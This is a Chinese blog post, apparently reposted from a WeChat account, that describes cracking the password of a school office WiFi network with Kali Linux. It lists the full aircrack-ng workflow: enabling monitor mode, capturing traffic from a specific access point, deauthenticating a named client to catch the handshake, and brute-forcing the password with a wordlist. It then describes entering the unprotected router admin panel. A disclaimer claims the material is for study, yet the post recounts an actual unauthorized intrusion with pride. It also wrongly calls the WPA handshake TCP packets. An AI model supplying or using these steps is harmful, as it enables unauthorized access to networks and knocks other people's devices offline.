Kali Linux 暴力破解学校办公室WiFi

                                     免责声明

本文发布的工具和脚本，仅用作测试和学习研究，禁止用于商业用途，不能保证其合法性，准确性，完整性和有效性，请根据情况自行判断。如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利，则应及时通知并提供身份证明，所有权证明，我们将在收到认证文件后删除相关内容。

文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用，任何人不得将其应用于非法用途及盈利等目的，间接使用文章中的任何工具、思路及技术，我方对于由此引起的法律后果概不负责。

——鼹鼠

1.开始

1.电脑装VMware

2.kali Linux

3.准备一块网卡（网卡要兼容kali Linux、我用的是RT3070L）

4.能敲键盘的手（脚也行）

装网卡（RT3070L）时出现的问题：

虚拟机识别不了。必须要让虚拟机单练网卡才可以解决

Ctrl+shift+T     打开终端

输入代码:

sudo su

输入密码，获取 root 权限

输入代码:

ifconfig

查看网卡:

airmon-ng start wlan0 

开启监听模式

使用ifconfig指令

查看网卡此时的状态是否为监听模式：当wlan0 变为 wlan0mon 时为监听中

输入代码:

airodump-ng wlan0mon

扫描附近的WiFi，发现目标后Ctrl+c中断扫描

使用工具生成字典

工具获取方式:点击下方二维码

回复:240128

airodump-ng --bassid 94:63:72:81:ED:CF -c 11 -w hack wlan0mon

注意：若抓不到，可以攻击已经连接的设备使其掉线，设备会再自动连接，并在这个自动连接过程中会进行三次握手，会发出TCP包（里面包含加密的密码数据），我方伪装成WiFi热点去盗窃该数据包。我方盗窃后可用字典穷举法暴力破解加密的WiFi密码。（数据包里面的密码是哈希值加密的，哈希值加密只能正向）

 输入 

aireplay-ng -0 11 -a 94:63:72:81:ED:CF -c A4:50:46:E5:73:0C wlan0mon

开始攻击

输入

aircrack-ng -w /root/pass.txt /root/hack-01.cap

开始暴力破解

然后退出虚拟机，在windows中  按win+R 输入cmd 进入 ，输入ipconfig查看ip地址（想要直接进入WiFi的后台）

进入浏览器，想试一试用常用的密码破解以下后台进入的密码，进入之后才发现没有设置密码，直接省去的我人肉破解密码的步骤

 相比白嫖WiFi，自己在完成破解之后的成就感是无限的。

网卡时好时坏令人头疼，自己在做梦的时候都还在想着怎么解决这个无法监听的问题，结果第二天再次尝试又可以使用。

网卡监听的时候全靠运气，有时候能用，有时候无法查看到任何网络，目前还不知道是网卡的原因还是别的原因（写这篇博客的时候就无法监听）。

​2.

原文始发于微信公众号（天盾信安）：Kali Linux 暴力破解学校办公室WiFi